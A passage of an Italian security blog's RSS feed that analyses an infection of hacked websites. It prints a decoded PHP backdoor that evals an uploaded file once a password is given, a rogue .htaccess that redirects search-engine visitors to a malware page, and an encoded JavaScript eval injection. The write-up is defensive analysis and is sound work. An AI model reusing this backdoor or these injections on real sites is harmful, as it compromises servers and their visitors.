testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
 ?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>la porzione encodata alla riga 97 una volta decodificata appare così:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #0000ff;">&quot;aace99428c50dbe965acc93f3f275cd3&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;rb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'f'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'end'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;/pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></div></div>

</div>
<p>Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali <a href="http://php-ids.org/"><strong>PHPIDS</strong></a> di cui potete trovare una recensione a questo <a href="http://www.bleakants.com/2008/10/phpids-intrusion-detection-system/"><strong>link</strong></a>.</p>
<p>Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>prima parte</strong></a> di questo articolo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 1</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html#comments</comments>
		<pubDate>Sun, 12 Oct 2008 10:32:47 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=100</guid>
		<description><![CDATA[In questi giorni, come dicevo nel precedente post, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware. Tale file &#8220;.htaccess&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi: Se non è presente alcun &#8220;.htaccess&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>In questi giorni, come dicevo nel <a href="http://www.capn3m0.org/exploitfix-php-stats-0192-multiple-vulnerabilities-exploit.html">precedente post</a>, sto analizzando/studiando un tipo di hacking che consiste nel redirettare i visitatori che provengono da un Motore di Ricerca verso una pagina malevola contenente link a Trojan/Malware.</p>
<p>Tale file &#8220;<strong>.htaccess</strong>&#8221; nella sua semplicità risulta essere furbo poiché ragiona in due modi:</p>
<ol>
<li>Se non è presente alcun &#8220;.htaccess&#8221; ne crea uno all&#8217;insaputa dell&#8217;utente con il codice scritto dalla Riga 101 in poi così anche se viene aperto il file non viene visto il codice;</li>
<li>Se invece esiste già un file &#8220;.htaccess&#8221; provvedere ad aggiungere 101 righe vuote in coda e successivamente il codice senza modificare quanto già presente. Lo scopo è sempre quello di evitare che l&#8217;utente si accorga dell&#8217;infezione nel caso apra il file.<span id="more-100"></span></li>
</ol>
<p>Va inoltre fatto notare che, per come è strutturato risulta essere &#8220;furbo&#8221; anche perché l&#8217;hacking è visibile solo a chi proviene dai Motori di Ricerca e, quindi, a coloro che con molta probabilità non conoscono il sito (visto che lo cercano sui Motori). Il Webmaster che probabilmente digita l&#8217;indirizzo del proprio dominio invece di ricercarlo non si accorgerebbe del problema ma continuerebbe a vedere il proprio sito correttamente caricato e navigabile.</p>
<h1><strong>I Codici Utilizzati</strong><br />
</h1>
<p>Nel dettaglio il codice del file &#8220;.htaccess&#8221; che viene creato:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># a0b4df006e02184c60dbf503e71c87ad
</span>RewriteEngine On
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> ^<span style="color: #009900;">&#91;</span>url<span style="color: #009900;">&#93;</span>http<span style="color: #339933;">:</span><span style="color: #666666; font-style: italic;">//[/url]([a-z0-9_\-]+\.)*(google|msn|yahoo|live|ask|dogpile|mywebsearch|yandex|rambler|aport|mail|gogo|poisk|</span>
alltheweb<span style="color: #339933;">|</span>f ireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">.</span> <span style="color: #009900;">&#91;</span>NC<span style="color: #009900;">&#93;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>HTTP_REFERER<span style="color: #009900;">&#125;</span> <span style="color: #339933;">!</span><span style="color: #009900;">&#91;</span>?<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span>q<span style="color: #339933;">|</span>query<span style="color: #339933;">|</span>qs<span style="color: #339933;">|</span>searchfor<span style="color: #339933;">|</span>search_for<span style="color: #339933;">|</span>w<span style="color: #339933;">|</span>p<span style="color: #339933;">|</span>r<span style="color: #339933;">|</span>key<span style="color: #339933;">|</span>keywords<span style="color: #339933;">|</span>search_string<span style="color: #339933;">|</span>
search_word<span style="color: #339933;">|</span>buscar<span style="color: #339933;">|</span>text<span style="color: #339933;">|</span>words<span style="color: #339933;">|</span>su<span style="color: #339933;">|</span>q t<span style="color: #339933;">|</span>rdata<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">=</span><span style="color: #009900;">&#91;</span>^<span style="color: #339933;">&amp;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">%</span>3A<span style="color: #339933;">|%</span><span style="color:#800080;">22</span><span style="color: #009900;">&#41;</span>
RewriteCond <span style="color: #339933;">%</span><span style="color: #009900;">&#123;</span>TIME_SEC<span style="color: #009900;">&#125;</span> <span style="color: #339933;">&lt;</span><span style="color: #cc66cc;">59</span>
RewriteRule ^<span style="color: #339933;">.*</span>$ <span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>uhe<span style="color: #339933;">/</span>ex3<span style="color: #339933;">/</span>t<span style="color: #339933;">.</span>htm <span style="color: #009900;">&#91;</span>L<span style="color: #009900;">&#93;</span>
<span style="color: #666666; font-style: italic;"># a995d2cc661fa72452472e9554b5520c</span></pre></td></tr></table></div>

<p>Tale codice indica che se il <strong>referrer</strong> (l&#8217;indirizzo di provenienza) del visitatore che richiama la pagina è uno dei Motori di Ricerca indicati rediretta il visitatore all&#8217;Url:</p>
<blockquote><p><strong>/admin/wysiwyg/rujez/uhe/ex3/t.htm</strong></p>
</blockquote>
<p>L&#8217;indirizzo dove viene posizionata la pagina &#8220;<strong>t.htm</strong>&#8221; varia sempre a seconda degli script e delle cartelle presenti nello spazio della vittima.</p>
<p>I Motori di Ricerca che vengono verificati sono i seguenti:</p>
<ul>
<li>Google</li>
<li>Msn</li>
<li>Yahoo</li>
<li>Live</li>
<li>Ask</li>
<li>DogPile</li>
<li>My Web Search</li>
<li>Yandex</li>
<li>Rambler</li>
<li>Aport</li>
<li>Mail</li>
<li>GoGo</li>
<li>Poisk</li>
<li>All The Web</li>
<li>FireBall</li>
<li>FreeNet</li>
<li>Abacho</li>
<li>Wanadoo</li>
<li>Free</li>
<li>Club-Internet</li>
<li>Alice Ads</li>
<li>Alice</li>
<li>Skynet</li>
<li>Terra</li>
<li>Ya</li>
<li>Orange</li>
<li>Clix</li>
<li>Terravista</li>
<li>Gratis-Ting</li>
<li>Suomi24</li>
</ul>
<p>La pagina a cui rimanda appare come un &#8220;clone&#8221; di Blogger dove vengono inseriti testi generati casualmente.</p>
<p>Eccone un esempio:</p>
<div id="attachment_101" class="wp-caption alignnone" style="width: 310px"><a href="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess.png" rel="lightbox[100]" title="HtaccessHacking"><img class="size-medium wp-image-101" title="HtaccessHacking" src="http://www.capn3m0.org/wp-content/uploads/2008/10/htaccess-300x183.png" alt=".htaccess hacking   Redirect per chi arriva dai Motori di Ricerca   PARTE 1" width="300" height="183" /></a><p class="wp-caption-text">Esempio di hacking via .htaccess (Pagina t.htm)</p></div>
<p>Oltre questo, una volta infettato un sito questo hacking provvede ad aggiungere in tutti i file &#8220;.<strong>css</strong>&#8221; e &#8220;<strong>.js</strong>&#8221; un codice incapsulato che provvede a ricreare costantemente il file &#8220;.htaccess&#8221; qualora venga eliminato.</p>
<p>Nei file <strong>Javascript (.js)</strong> viene inserito il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
 <span style="color: #339933;">;</span>eval<span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span 